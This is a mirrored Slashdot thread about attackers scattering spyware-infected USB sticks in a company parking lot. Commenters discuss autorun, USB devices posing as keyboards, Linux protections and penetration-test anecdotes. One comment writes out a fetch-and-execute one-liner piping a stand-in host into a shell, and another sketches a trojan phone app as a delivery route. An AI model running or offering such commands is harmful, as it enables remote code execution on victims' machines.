Slashdot Mirror
Criminals Distribute Infected USB Sticks In Parking Lot
New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."
This will usually bypass all the internet-based filtering and security systems.
So you can load USB sticks you find and extract the pictures!
"Have you ever thought about just turning off the TV, sitting down with your kids, and hitting them?"
Or turn off auto-run in Windows. I once found a USB drive on the ground. Turns out it was some grad student's drive. I tried to return it but got no response from the email I found on his resume.
These were targeted specifically though at the one company, greatly increasing the odds of getting into something that they were interested in.
---------- Open Source is capitalism applied to IP.
and laugh at the windows auto-loader files they tried to get you with.
Seriously, I found a "trick" USB stick in my work mailbox once, which turned out to be a test from our IT department that, if you loaded it (in Windows), would direct you to an obligatory computer security training program. After I called them about it, they let me keep it.
dd if=/dev/zero of=/dev/[usbdrive]
voila, free thumb drive, malware free.
Nobodies Prefect
Tidbits for Techs Technology Blog
I haven't heard of this technique actually being used in the wild, but it's enough of a threat to be included in the standard security training everyone has to take for at least a few Fortune 500 companies -- it's why some companies (and the U.S. military, I think) may disable USB ports. Trying to get at potential targets through standard attack vectors may not be effective, so if you have a financial backer this may present a promising attack vector that greedy targets may enable. The book "Security Engineering" cites this web site (had to find via archive.org) where a consulting company found out people inserted the USB sticks under slightly different circumstances: http://web.archive.org/web/20090621014856/http://www.vnunet.com/computing/news/2173365/uk-firms-naive-usb-stick
what if it had been raining?
The flash drives would have been wet, yet fully functional after they dried?
I've washed more than one flash drive and they still worked - I'm using one now that was washed over a year ago. I ran one through the driver once, and after I broke off the melted and mishapen plastic, I plugged it in and it worked.
This technique is discussed in "Metasploit - The penetration testers guide" ( http://shop.oreilly.com/product/9781593272883.do )
Excellent book by the way. After reading it, you'll never look at computer security the same way again, and may very well just switch to an Abacus with a box of crayons on top.
There are some people that if they don't know, you can't tell 'em.
There are a few factors
1: the dominant operating system has blurred the line between running executables and opening data files. Then they went even furher and introduced autorun to make users live's easier. They have tried to put theese genies back in the bottle but it's difficult to do without introducing a load of pain for users.
2: Even if the OS doesn't have the above problem a USB stick could be put together that enumerated as a keyboard as well as a mass storage device, it could then do pretty much anything the user can do (though it has to do it blind).
2: the natural assumption when finding a USB stick in the company parking lot is that a co-worker dropped it. Therefore the natural thing to do is to try and determine who owns it so it can be returned to it's rightful owner. Deternining who owns it generally requires looking at the contents
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
Personally, I'd target smartphones.
If I were a malicious programmer out to get corporate dirt, I would release a "perfectly harmless" appstore game or business applet. This applet does not in any way harm the phone, or call home. What I does instead is drop some binaries on the root of the internal sdcard or flash memory storage device to mimic this attack.
This has several advantages:
1) you can update your penetration package as part of an app update, which the user won't catch.
2) you can target a device frequently demanded to be added to device exception lists, such as corporate CEOs insisting their iBone be able to sync their corporate email.
This gives you a mostly unprotected path to the mailserver if the package delivery mechanism is done right.
In the case of android phones at least, you can control how the device talks to the computer, and what HID classes it wants. This could let the phone operate as a hardware keylogger, etc.
Seriously, smartphones are a torpedo.
I ran one through the driver once
I say old chap, that's a bit rough, what? I hope you paid his medical expenses and gave him a shilling bonus after that experiment. Toodle pip...
This is a time-honored way of targeting a particular company. It sounds expensive, but if your motivation is commercial or governmental *coughcoughstux* it's extremely cheap compared to the alternatives (bribery, breaking-and-entering, rubber-hose cryptography). It's also a great way of finding out whether your own organization is aware of malware trouble; this technique is commonly used as part of security audits performed by companies hired to find out how good your company really is.
A company I worked for a few years ago hired a security auditing firm to check up on ourselves (only a few people were told, and we were told to keep quiet to ensure that our day-to-day practices were tested, not our "crap, someone's checking!" performance). They were unable to penetrate the network from the outside (including wirelessly) or socially engineer their way past reception or weasel out a password, but they got in via the USB-stick-in-the-parking-lot method. They told us afterwards that this is an extremely effective technique, as primate curiosity is almost unstoppable.
Everybody gets what the majority deserves.
In certain military environments I worked in the USB, Firewire, and microphone ports were immediately filled with epoxy and (where possible) disconnected from the motherboard.
Patent litigation: A doctrine of Mutually Assured Destruction... in which everyone seems willing to push the button
So a coworker found a usb key in the parking lot and wisely didn't plug it in. Instead he asked me to check it out before he did. So dutifully I fired up my live CD, plugged it in and quickly saw it belonged to a coworker. But which one in a company of 300+? Well, that was actually pretty easy to figure out, since there was a nice folder with pictures of himself naked in a mirror. Many of them. All alone. So I gave the guy the USB key, told him what I'd seen, washed my hands (and disinfected my cubicle) and was sooooo glad when the photographer took a different job.
So there may be a virus, or maybe just a lonely coworker.
Be Excellent To Each Other
Wouldn't it be more productive to give them away? As in brand them with the name of a product, and literally give them away at a place where they employees visit. I think someone would be much more likely to use a USB given to them at a "legitimate" event, than one found on the ground.
Yes, but with Linux you could mount the filesystem noexec and the malware writer would have to figure out how to get it to execute in order to undo the restriction. Which is a substantially harder thing than figuring out how to get it to autorun. Any idiot that's running strange programs from found USB drives deserves whatever malware he gets.
If you think Linux has a magical immunity you might want to read how to write a Linux virus in 5 easy steps which shows with just a little social engineering its really not hard to target Linux just as the malware writers target Windows and OSX now.
From the article you mention:
A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won't have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can't just click on it and start it if the execute bit is not set.
Done. Modern versions of KDE need launcher to have execute permission. That hole is patched.
And nobody pretends that Linux has some magically imunity to viruses. As a Unix-like OS it just follows a few key principles :
- don't blindly execute everything. require executable to be explicitely marked as such (thus any shit downloaded from the web or from e-mail won't automatically be launchable).
- don't run constantly as root. thus the amount of harm that a program can do is limited to the access rights of a user. (While this still makes it possible to send spam, mine the data of the user, and modify the user profile, at least it prevents further deeper compromising of the running system).
That doesn't magically solve all malware problems in the universe. But at least it makes the life of malware writer a little bit more complicated. And the 5-step virus relies on a work-around of the first rule. Which has been since then corrected.
Back then, this no-brainer principles were NOT followed by Windows XP, making it even easier to write worms spreading over e-mail. Thankfully, since then Vista has arrived and has brought UAC dialogs in these situations (now how much dialogs can help security problems when the users are used to "okay" click on everything, that remains to be seen).
Or did you think android runs on Windows?
Android is a completely different beast and instead of unix-like userland it uses it's very own userland (a Java-like system).
Though it too doesn't allow execution of arbitrary e-mail attachment too. It's not impossible to write android malware, even malware that finds a way to look legitimate to android's capability system.
But at least the scenario "Here are some pics of hot lesbian teens! Click on the attachment to view them!" doesn't work on modern OSes. Except windows (and that's until WinXP, starting from Vista, you get an UAC dialog telling you that you run an executable from an untrusted source - now how many idiots will click on "okay" anyway is a different story).
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Didn't occur to you to go to his house, pick the locks, and leave the drive on his night stand? Because that would have been AWESOME!
I'm trying to teach myself to set people on fire with my mind... Is it hot in here?
The trouble with USB is that you don't know. Let's say you plug in that "thumb drive". Perhaps it turns out to be a "keyboard" that issues whatever the shortcut is for executing a command and sends something like:
wget -q -O - http://naughty.com/ | sh
All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.
Boffoonery - downloadable Comedy Benefit for Bletchley Park
The 'cyber criminals planted the usb sticks in an attempt to steal data'... stuff doesn't come from investigation, it comes from speculation. It could simply have been an infected USB stick an employee threw away or dropped.
DSM is really a boring chemicals business, employing tens of thousands of people. The chances of spyware getting past anti virus software and onto the right persons computer is pretty damn slim.
So it looks more like projection to me. There's a lot of talk about cybercriminals as part of the 'cyberwar' budget requests. This was a lost USB key infected. IT dept projects the cyberwar onto their company and assumes it was a cyberattack and not some piece of crapware. Cyberwar lobby grabs the story and pumps it up for their own agenda.
A properly coded operating system would not execute an unknown application without firs asking the user. Furthermore, a correctly build operating system would not allowed applications executed by an unprivileged user to gain control of the operating system. As you see your comments lack validity. As far as the website you mentioned, that advice will only work with systems that have been badly configured with the intention of allowing an intruder to penetrate them. I suggest you get familiar with real operating systems and stop playing with what in the computer world qualifies as “toddler operating systems” that lack strength and maturity to operate in an unprotected environment.
dud example
There are no examples, and the "5 easy steps" from the linked page haven't worked for years.
One of the reasons Linux is more secure is that the community responds far more quickly to potential threats.
Hairyfeet always gets to +5 with votes from the Apple/Windows crowd here, but he's never been able to show a single current instance of actual Linux malware in the wild. Much like the 235 patents, it's always threats from the future or the past.
I know that taking away the mouse and keyboard dramatically reduces the number of user mistakes, but I do wonder if this isn't taking it a little too far.
Assorted stuff I do sometimes: Lemuria.org
The contents of your current working directory are of no interest to me.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Of course on a properly managed system, also on Windows, such a USB stick will do nothing.
Because all the USB ports are filled with glue.
noexec only disables things that the kernel runs directly. It doesn't disable scripts if you invoke them via the correct command interpreter and it certainly doesn't protect you against, for example, a libpng or libjpeg exploit and a malicious image.
I am TheRaven on Soylent News